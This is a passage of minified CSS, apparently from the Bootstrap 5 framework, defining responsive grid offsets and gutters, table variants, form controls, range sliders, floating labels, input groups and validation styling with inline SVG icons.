auto;width:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333333%}.offset-sm-2{margin-left:16.66666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333333%}.offset-sm-5{margin-left:41.66666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333333%}.offset-sm-8{margin-left:66.66666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333333%}.offset-sm-11{margin-left:91.66666667%}.g-sm-0,.gx-sm-0{--bs-gutter-x:0}.g-sm-0,.gy-sm-0{--bs-gutter-y:0}.g-sm-1,.gx-sm-1{--bs-gutter-x:0.25rem}.g-sm-1,.gy-sm-1{--bs-gutter-y:0.25rem}.g-sm-2,.gx-sm-2{--bs-gutter-x:0.5rem}.g-sm-2,.gy-sm-2{--bs-gutter-y:0.5rem}.g-sm-3,.gx-sm-3{--bs-gutter-x:1rem}.g-sm-3,.gy-sm-3{--bs-gutter-y:1rem}.g-sm-4,.gx-sm-4{--bs-gutter-x:1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y:1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x:3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y:3rem}}@media (min-width:768px){.col-md{flex:1 0 0%}.row-cols-md-auto>*{flex:0 0 auto;width:auto}.row-cols-md-1>*{flex:0 0 auto;width:100%}.row-cols-md-2>*{flex:0 0 auto;width:50%}.row-cols-md-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-md-4>*{flex:0 0 auto;width:25%}.row-cols-md-5>*{flex:0 0 auto;width:20%}.row-cols-md-6>*{flex:0 0 auto;width:16.6666666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.col-md-2{flex:0 0 auto;width:16.66666667%}.col-md-3{flex:0 0 auto;width:25%}.col-md-4{flex:0 0 auto;width:33.33333333%}.col-md-5{flex:0 0 auto;width:41.66666667%}.col-md-6{flex:0 0 auto;width:50%}.col-md-7{flex:0 0 auto;width:58.33333333%}.col-md-8{flex:0 0 auto;width:66.66666667%}.col-md-9{flex:0 0 auto;width:75%}.col-md-10{flex:0 0 auto;width:83.33333333%}.col-md-11{flex:0 0 auto;width:91.66666667%}.col-md-12{flex:0 0 auto;width:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333333%}.offset-md-2{margin-left:16.66666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333333%}.offset-md-5{margin-left:41.66666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333333%}.offset-md-8{margin-left:66.66666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333333%}.offset-md-11{margin-left:91.66666667%}.g-md-0,.gx-md-0{--bs-gutter-x:0}.g-md-0,.gy-md-0{--bs-gutter-y:0}.g-md-1,.gx-md-1{--bs-gutter-x:0.25rem}.g-md-1,.gy-md-1{--bs-gutter-y:0.25rem}.g-md-2,.gx-md-2{--bs-gutter-x:0.5rem}.g-md-2,.gy-md-2{--bs-gutter-y:0.5rem}.g-md-3,.gx-md-3{--bs-gutter-x:1rem}.g-md-3,.gy-md-3{--bs-gutter-y:1rem}.g-md-4,.gx-md-4{--bs-gutter-x:1.5rem}.g-md-4,.gy-md-4{--bs-gutter-y:1.5rem}.g-md-5,.gx-md-5{--bs-gutter-x:3rem}.g-md-5,.gy-md-5{--bs-gutter-y:3rem}}@media (min-width:992px){.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}.col-lg-auto{flex:0 0 auto;width:auto}.col-lg-1{flex:0 0 auto;width:8.33333333%}.col-lg-2{flex:0 0 auto;width:16.66666667%}.col-lg-3{flex:0 0 auto;width:25%}.col-lg-4{flex:0 0 auto;width:33.33333333%}.col-lg-5{flex:0 0 auto;width:41.66666667%}.col-lg-6{flex:0 0 auto;width:50%}.col-lg-7{flex:0 0 auto;width:58.33333333%}.col-lg-8{flex:0 0 auto;width:66.66666667%}.col-lg-9{flex:0 0 auto;width:75%}.col-lg-10{flex:0 0 auto;width:83.33333333%}.col-lg-11{flex:0 0 auto;width:91.66666667%}.col-lg-12{flex:0 0 auto;width:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333333%}.offset-lg-2{margin-left:16.66666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333333%}.offset-lg-5{margin-left:41.66666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333333%}.offset-lg-8{margin-left:66.66666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333333%}.offset-lg-11{margin-left:91.66666667%}.g-lg-0,.gx-lg-0{--bs-gutter-x:0}.g-lg-0,.gy-lg-0{--bs-gutter-y:0}.g-lg-1,.gx-lg-1{--bs-gutter-x:0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y:0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x:0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y:0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x:1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y:1rem}.g-lg-4,.gx-lg-4{--bs-gutter-x:1.5rem}.g-lg-4,.gy-lg-4{--bs-gutter-y:1.5rem}.g-lg-5,.gx-lg-5{--bs-gutter-x:3rem}.g-lg-5,.gy-lg-5{--bs-gutter-y:3rem}}@media (min-width:1200px){.col-xl{flex:1 0 0%}.row-cols-xl-auto>*{flex:0 0 auto;width:auto}.row-cols-xl-1>*{flex:0 0 auto;width:100%}.row-cols-xl-2>*{flex:0 0 auto;width:50%}.row-cols-xl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xl-4>*{flex:0 0 auto;width:25%}.row-cols-xl-5>*{flex:0 0 auto;width:20%}.row-cols-xl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xl-auto{flex:0 0 auto;width:auto}.col-xl-1{flex:0 0 auto;width:8.33333333%}.col-xl-2{flex:0 0 auto;width:16.66666667%}.col-xl-3{flex:0 0 auto;width:25%}.col-xl-4{flex:0 0 auto;width:33.33333333%}.col-xl-5{flex:0 0 auto;width:41.66666667%}.col-xl-6{flex:0 0 auto;width:50%}.col-xl-7{flex:0 0 auto;width:58.33333333%}.col-xl-8{flex:0 0 auto;width:66.66666667%}.col-xl-9{flex:0 0 auto;width:75%}.col-xl-10{flex:0 0 auto;width:83.33333333%}.col-xl-11{flex:0 0 auto;width:91.66666667%}.col-xl-12{flex:0 0 auto;width:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.offset-xl-5{margin-left:41.66666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333333%}.offset-xl-8{margin-left:66.66666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333333%}.offset-xl-11{margin-left:91.66666667%}.g-xl-0,.gx-xl-0{--bs-gutter-x:0}.g-xl-0,.gy-xl-0{--bs-gutter-y:0}.g-xl-1,.gx-xl-1{--bs-gutter-x:0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y:0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x:0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y:0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x:1rem}.g-xl-3,.gy-xl-3{--bs-gutter-y:1rem}.g-xl-4,.gx-xl-4{--bs-gutter-x:1.5rem}.g-xl-4,.gy-xl-4{--bs-gutter-y:1.5rem}.g-xl-5,.gx-xl-5{--bs-gutter-x:3rem}.g-xl-5,.gy-xl-5{--bs-gutter-y:3rem}}@media (min-width:1400px){.col-xxl{flex:1 0 0%}.row-cols-xxl-auto>*{flex:0 0 auto;width:auto}.row-cols-xxl-1>*{flex:0 0 auto;width:100%}.row-cols-xxl-2>*{flex:0 0 auto;width:50%}.row-cols-xxl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xxl-4>*{flex:0 0 auto;width:25%}.row-cols-xxl-5>*{flex:0 0 auto;width:20%}.row-cols-xxl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xxl-auto{flex:0 0 auto;width:auto}.col-xxl-1{flex:0 0 auto;width:8.33333333%}.col-xxl-2{flex:0 0 auto;width:16.66666667%}.col-xxl-3{flex:0 0 auto;width:25%}.col-xxl-4{flex:0 0 auto;width:33.33333333%}.col-xxl-5{flex:0 0 auto;width:41.66666667%}.col-xxl-6{flex:0 0 auto;width:50%}.col-xxl-7{flex:0 0 auto;width:58.33333333%}.col-xxl-8{flex:0 0 auto;width:66.66666667%}.col-xxl-9{flex:0 0 auto;width:75%}.col-xxl-10{flex:0 0 auto;width:83.33333333%}.col-xxl-11{flex:0 0 auto;width:91.66666667%}.col-xxl-12{flex:0 0 auto;width:100%}.offset-xxl-0{margin-left:0}.offset-xxl-1{margin-left:8.33333333%}.offset-xxl-2{margin-left:16.66666667%}.offset-xxl-3{margin-left:25%}.offset-xxl-4{margin-left:33.33333333%}.offset-xxl-5{margin-left:41.66666667%}.offset-xxl-6{margin-left:50%}.offset-xxl-7{margin-left:58.33333333%}.offset-xxl-8{margin-left:66.66666667%}.offset-xxl-9{margin-left:75%}.offset-xxl-10{margin-left:83.33333333%}.offset-xxl-11{margin-left:91.66666667%}.g-xxl-0,.gx-xxl-0{--bs-gutter-x:0}.g-xxl-0,.gy-xxl-0{--bs-gutter-y:0}.g-xxl-1,.gx-xxl-1{--bs-gutter-x:0.25rem}.g-xxl-1,.gy-xxl-1{--bs-gutter-y:0.25rem}.g-xxl-2,.gx-xxl-2{--bs-gutter-x:0.5rem}.g-xxl-2,.gy-xxl-2{--bs-gutter-y:0.5rem}.g-xxl-3,.gx-xxl-3{--bs-gutter-x:1rem}.g-xxl-3,.gy-xxl-3{--bs-gutter-y:1rem}.g-xxl-4,.gx-xxl-4{--bs-gutter-x:1.5rem}.g-xxl-4,.gy-xxl-4{--bs-gutter-y:1.5rem}.g-xxl-5,.gx-xxl-5{--bs-gutter-x:3rem}.g-xxl-5,.gy-xxl-5{--bs-gutter-y:3rem}}.table{--bs-table-bg:transparent;--bs-table-accent-bg:transparent;--bs-table-striped-color:#212529;--bs-table-striped-bg:rgba(0, 0, 0, 0.05);--bs-table-active-color:#212529;--bs-table-active-bg:rgba(0, 0, 0, 0.1);--bs-table-hover-color:#212529;--bs-table-hover-bg:rgba(0, 0, 0, 0.075);width:100%;margin-bottom:1rem;color:#212529;vertical-align:top;border-color:#dee2e6}.table>:not(caption)>*>*{padding:.5rem .5rem;background-color:var(--bs-table-bg);border-bottom-width:1px;box-shadow:inset 0 0 0 9999px var(--bs-table-accent-bg)}.table>tbody{vertical-align:inherit}.table>thead{vertical-align:bottom}.table>:not(:last-child)>:last-child>*{border-bottom-color:currentColor}.caption-top{caption-side:top}.table-sm>:not(caption)>*>*{padding:.25rem .25rem}.table-bordered>:not(caption)>*{border-width:1px 0}.table-bordered>:not(caption)>*>*{border-width:0 1px}.table-borderless>:not(caption)>*>*{border-bottom-width:0}.table-striped>tbody>tr:nth-of-type(odd){--bs-table-accent-bg:var(--bs-table-striped-bg);color:var(--bs-table-striped-color)}.table-active{--bs-table-accent-bg:var(--bs-table-active-bg);color:var(--bs-table-active-color)}.table-hover>tbody>tr:hover{--bs-table-accent-bg:var(--bs-table-hover-bg);color:var(--bs-table-hover-color)}.table-primary{--bs-table-bg:#cfe2ff;--bs-table-striped-bg:#c5d7f2;--bs-table-striped-color:#000;--bs-table-active-bg:#bacbe6;--bs-table-active-color:#000;--bs-table-hover-bg:#bfd1ec;--bs-table-hover-color:#000;color:#000;border-color:#bacbe6}.table-secondary{--bs-table-bg:#e2e3e5;--bs-table-striped-bg:#d7d8da;--bs-table-striped-color:#000;--bs-table-active-bg:#cbccce;--bs-table-active-color:#000;--bs-table-hover-bg:#d1d2d4;--bs-table-hover-color:#000;color:#000;border-color:#cbccce}.table-success{--bs-table-bg:#d1e7dd;--bs-table-striped-bg:#c7dbd2;--bs-table-striped-color:#000;--bs-table-active-bg:#bcd0c7;--bs-table-active-color:#000;--bs-table-hover-bg:#c1d6cc;--bs-table-hover-color:#000;color:#000;border-color:#bcd0c7}.table-info{--bs-table-bg:#cff4fc;--bs-table-striped-bg:#c5e8ef;--bs-table-striped-color:#000;--bs-table-active-bg:#badce3;--bs-table-active-color:#000;--bs-table-hover-bg:#bfe2e9;--bs-table-hover-color:#000;color:#000;border-color:#badce3}.table-warning{--bs-table-bg:#fff3cd;--bs-table-striped-bg:#f2e7c3;--bs-table-striped-color:#000;--bs-table-active-bg:#e6dbb9;--bs-table-active-color:#000;--bs-table-hover-bg:#ece1be;--bs-table-hover-color:#000;color:#000;border-color:#e6dbb9}.table-danger{--bs-table-bg:#f8d7da;--bs-table-striped-bg:#eccccf;--bs-table-striped-color:#000;--bs-table-active-bg:#dfc2c4;--bs-table-active-color:#000;--bs-table-hover-bg:#e5c7ca;--bs-table-hover-color:#000;color:#000;border-color:#dfc2c4}.table-light{--bs-table-bg:#f8f9fa;--bs-table-striped-bg:#ecedee;--bs-table-striped-color:#000;--bs-table-active-bg:#dfe0e1;--bs-table-active-color:#000;--bs-table-hover-bg:#e5e6e7;--bs-table-hover-color:#000;color:#000;border-color:#dfe0e1}.table-dark{--bs-table-bg:#212529;--bs-table-striped-bg:#2c3034;--bs-table-striped-color:#fff;--bs-table-active-bg:#373b3e;--bs-table-active-color:#fff;--bs-table-hover-bg:#323539;--bs-table-hover-color:#fff;color:#fff;border-color:#373b3e}.table-responsive{overflow-x:auto;-webkit-overflow-scrolling:touch}@media (max-width:575.98px){.table-responsive-sm{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:767.98px){.table-responsive-md{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:991.98px){.table-responsive-lg{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1199.98px){.table-responsive-xl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1399.98px){.table-responsive-xxl{overflow-x:auto;-webkit-overflow-scrolling:touch}}.form-label{margin-bottom:.5rem}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem}.form-text{margin-top:.25rem;font-size:.875em;color:#6c757d}.form-control{display:block;width:100%;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control[type=file]{overflow:hidden}.form-control[type=file]:not(:disabled):not([readonly]){cursor:pointer}.form-control:focus{color:#212529;background-color:#fff;border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-control::-webkit-date-and-time-value{height:1.5em}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}.form-control::file-selector-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control::file-selector-button{transition:none}}.form-control:hover:not(:disabled):not([readonly])::file-selector-button{background-color:#dde0e3}.form-control::-webkit-file-upload-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;-webkit-transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control::-webkit-file-upload-button{-webkit-transition:none;transition:none}}.form-control:hover:not(:disabled):not([readonly])::-webkit-file-upload-button{background-color:#dde0e3}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{min-height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;border-radius:.2rem}.form-control-sm::file-selector-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-sm::-webkit-file-upload-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-lg{min-height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;border-radius:.3rem}.form-control-lg::file-selector-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}.form-control-lg::-webkit-file-upload-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}textarea.form-control{min-height:calc(1.5em + .75rem + 2px)}textarea.form-control-sm{min-height:calc(1.5em + .5rem + 2px)}textarea.form-control-lg{min-height:calc(1.5em + 1rem + 2px)}.form-control-color{width:3rem;height:auto;padding:.375rem}.form-control-color:not(:disabled):not([readonly]){cursor:pointer}.form-control-color::-moz-color-swatch{height:1.5em;border-radius:.25rem}.form-control-color::-webkit-color-swatch{height:1.5em;border-radius:.25rem}.form-select{display:block;width:100%;padding:.375rem 2.25rem .375rem .75rem;-moz-padding-start:calc(0.75rem - 3px);font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right .75rem center;background-size:16px 12px;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-select{transition:none}}.form-select:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-select[multiple],.form-select[size]:not([size="1"]){padding-right:.75rem;background-image:none}.form-select:disabled{background-color:#e9ecef}.form-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #212529}.form-select-sm{padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem}.form-select-lg{padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem}.form-check{display:block;min-height:1.5rem;padding-left:1.5em;margin-bottom:.125rem}.form-check .form-check-input{float:left;margin-left:-1.5em}.form-check-input{width:1em;height:1em;margin-top:.25em;vertical-align:top;background-color:#fff;background-repeat:no-repeat;background-position:center;background-size:contain;border:1px solid rgba(0,0,0,.25);-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-print-color-adjust:exact;color-adjust:exact}.form-check-input[type=checkbox]{border-radius:.25em}.form-check-input[type=radio]{border-radius:50%}.form-check-input:active{filter:brightness(90%)}.form-check-input:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-check-input:checked{background-color:#0d6efd;border-color:#0d6efd}.form-check-input:checked[type=checkbox]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e")}.form-check-input:checked[type=radio]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23fff'/%3e%3c/svg%3e")}.form-check-input[type=checkbox]:indeterminate{background-color:#0d6efd;border-color:#0d6efd;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e")}.form-check-input:disabled{pointer-events:none;filter:none;opacity:.5}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{opacity:.5}.form-switch{padding-left:2.5em}.form-switch .form-check-input{width:2em;margin-left:-2.5em;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e");background-position:left center;border-radius:2em;transition:background-position .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-switch .form-check-input{transition:none}}.form-switch .form-check-input:focus{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2386b7fe'/%3e%3c/svg%3e")}.form-switch .form-check-input:checked{background-position:right center;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.form-check-inline{display:inline-block;margin-right:1rem}.btn-check{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.btn-check:disabled+.btn,.btn-check[disabled]+.btn{pointer-events:none;filter:none;opacity:.65}.form-range{width:100%;height:1.5rem;padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.form-range:focus{outline:0}.form-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range::-moz-focus-outer{border:0}.form-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#0d6efd;border:0;border-radius:1rem;-webkit-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-webkit-slider-thumb{-webkit-transition:none;transition:none}}.form-range::-webkit-slider-thumb:active{background-color:#b6d4fe}.form-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#0d6efd;border:0;border-radius:1rem;-moz-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-moz-range-thumb{-moz-transition:none;transition:none}}.form-range::-moz-range-thumb:active{background-color:#b6d4fe}.form-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range:disabled{pointer-events:none}.form-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.form-range:disabled::-moz-range-thumb{background-color:#adb5bd}.form-floating{position:relative}.form-floating>.form-control,.form-floating>.form-select{height:calc(3.5rem + 2px);line-height:1.25}.form-floating>label{position:absolute;top:0;left:0;height:100%;padding:1rem .75rem;pointer-events:none;border:1px solid transparent;transform-origin:0 0;transition:opacity .1s ease-in-out,transform .1s ease-in-out}@media (prefers-reduced-motion:reduce){.form-floating>label{transition:none}}.form-floating>.form-control{padding:1rem .75rem}.form-floating>.form-control::-moz-placeholder{color:transparent}.form-floating>.form-control::placeholder{color:transparent}.form-floating>.form-control:not(:-moz-placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:focus,.form-floating>.form-control:not(:placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:-webkit-autofill{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-select{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:not(:-moz-placeholder-shown)~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control:focus~label,.form-floating>.form-control:not(:placeholder-shown)~label,.form-floating>.form-select~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control:-webkit-autofill~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.form-select{position:relative;flex:1 1 auto;width:1%;min-width:0}.input-group>.form-control:focus,.input-group>.form-select:focus{z-index:3}.input-group .btn{position:relative;z-index:2}.input-group .btn:focus{z-index:3}.input-group-text{display:flex;align-items:center;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-lg>.btn,.input-group-lg>.form-control,.input-group-lg>.form-select,.input-group-lg>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;border-radius:.3rem}.input-group-sm>.btn,.input-group-sm>.form-control,.input-group-sm>.form-select,.input-group-sm>.input-group-text{padding:.25rem .5rem;font-size:.875rem;border-radius:.2rem}.input-group-lg>.form-select,.input-group-sm>.form-select{padding-right:3rem}.input-group:not(.has-validation)>.dropdown-toggle:nth-last-child(n+3),.input-group:not(.has-validation)>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu){border-top-right-radius:0;border-bottom-right-radius:0}.input-group.has-validation>.dropdown-toggle:nth-last-child(n+4),.input-group.has-validation>:nth-last-child(n+3):not(.dropdown-toggle):not(.dropdown-menu){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>:not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback){margin-left:-1px;border-top-left-radius:0;border-bottom-left-radius:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#198754}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(25,135,84,.9);border-radius:.25rem}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#198754;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-valid,.was-validated .form-select:valid{border-color:#198754}.form-select.is-valid:not([multiple]):not([size]),.form-select.is-valid:not([multiple])[size="1"],.was-validated .form-select:valid:not([multiple]):not([size]),.was-validated .form-select:valid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-valid:focus,.was-validated .form-select:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-check-input.is-valid,.was-validated 